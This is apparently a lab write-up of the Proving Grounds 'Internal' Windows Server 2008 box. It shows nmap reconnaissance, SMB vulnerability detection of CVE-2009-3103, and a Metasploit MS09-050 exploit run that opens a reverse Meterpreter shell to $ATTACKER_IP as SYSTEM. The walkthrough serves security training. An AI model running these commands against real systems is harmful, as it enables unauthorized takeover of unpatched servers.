Internal-SMB Writeup - Proving Grounds

Easy Windows

Created October 8, 2026 • Last updated October 8, 2026 • 3 min read

The Husky Hacker

sysadmin

Internal-SMB is the same MS09-050 story on an unpatched Windows Server 2008 SP1 host: nmap's SMB vulnerability scripts flag the SMBv2 negotiate overflow (CVE-2009-3103), and the matching Metasploit module gives an unauthenticated SYSTEM shell in one step.

Reconnaissance

Nmap

Scan all TCP ports.

┌──(kali㉿kali)-[~]

└─$ nmap -p- $TARGET_IP

PORT      STATE SERVICE
53/tcp    open  domain
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
3389/tcp  open  ms-wbt-server
5357/tcp  open  wsdapi
49152-49158/tcp open unknown

DNS, SMB, and RDP are the services of note. Fingerprint the SMB service.

SMB version

Grab the OS and signing details.

┌──(kali㉿kali)-[~]

└─$ nmap -sCV -p139,445 $TARGET_IP

PORT    STATE SERVICE      VERSION
139/tcp open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp open  microsoft-ds Windows Server (R) 2008 Standard 6001 SP1 (workgroup: WORKGROUP)
<snip>
| smb-os-discovery:
|   OS: Windows Server (R) 2008 Standard 6001 Service Pack 1
|   Computer name: internal
| smb-security-mode:
|_  message_signing: disabled (dangerous, but default)

Windows Server 2008 Standard SP1 with SMB signing disabled. If unpatched, this build is a strong candidate for a known SMB vulnerability.

Exploitation

Nmap SMB vulnerability scripts

Check directly instead of guessing.

┌──(kali㉿kali)-[~]

└─$ nmap --script smb-vuln* -p445 $TARGET_IP

Host script results:
| smb-vuln-cve2009-3103:
|   VULNERABLE:
|   SMBv2 exploit (CVE-2009-3103, Microsoft Security Advisory 975497)
|     State: VULNERABLE
|     Array index error in the SMBv2 protocol implementation in srv2.sys allows remote
|     attackers to execute arbitrary code via an '&amp;' character in a Process ID High
|     header field in a NEGOTIATE PROTOCOL REQUEST packet.

Explain command

--script smb-vuln*

Run every installed SMB vulnerability-detection script.

Vulnerable to CVE-2009-3103, Microsoft Security Bulletin MS09-050, an SMBv2 negotiate array index overflow with a public Metasploit module.

MS09-050 SMB2 negotiate function index overflow

Select the module and run it.

msf6 > search MS09-050

msf6 > use exploit/windows/smb/ms09_050_smb2_negotiate_func_index

msf6 > set RHOSTS $TARGET_IP

msf6 > set LHOST $ATTACKER_IP

msf6 > run

2  exploit/windows/smb/ms09_050_smb2_negotiate_func_index  2009-09-07  good  MS09-050 Microsoft SRV2.SYS SMB Negotiate ProcessID Function Table Dereference
<snip>
[*] Started reverse TCP handler on $ATTACKER_IP:$ATTACKER_PORT
[*] $TARGET_IP:445 - Connecting to the target ($TARGET_IP:445)...
[*] $TARGET_IP:445 - Sending the exploit packet (938 bytes)...
[*] Sending stage (176195 bytes) to $TARGET_IP
[*] Meterpreter session 1 opened ($ATTACKER_IP:$ATTACKER_PORT -> $TARGET_IP:49159)

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > shell
C:\Windows\system32>hostname
internal

The exploit lands directly as NT AUTHORITY\SYSTEM, no privilege escalation step required.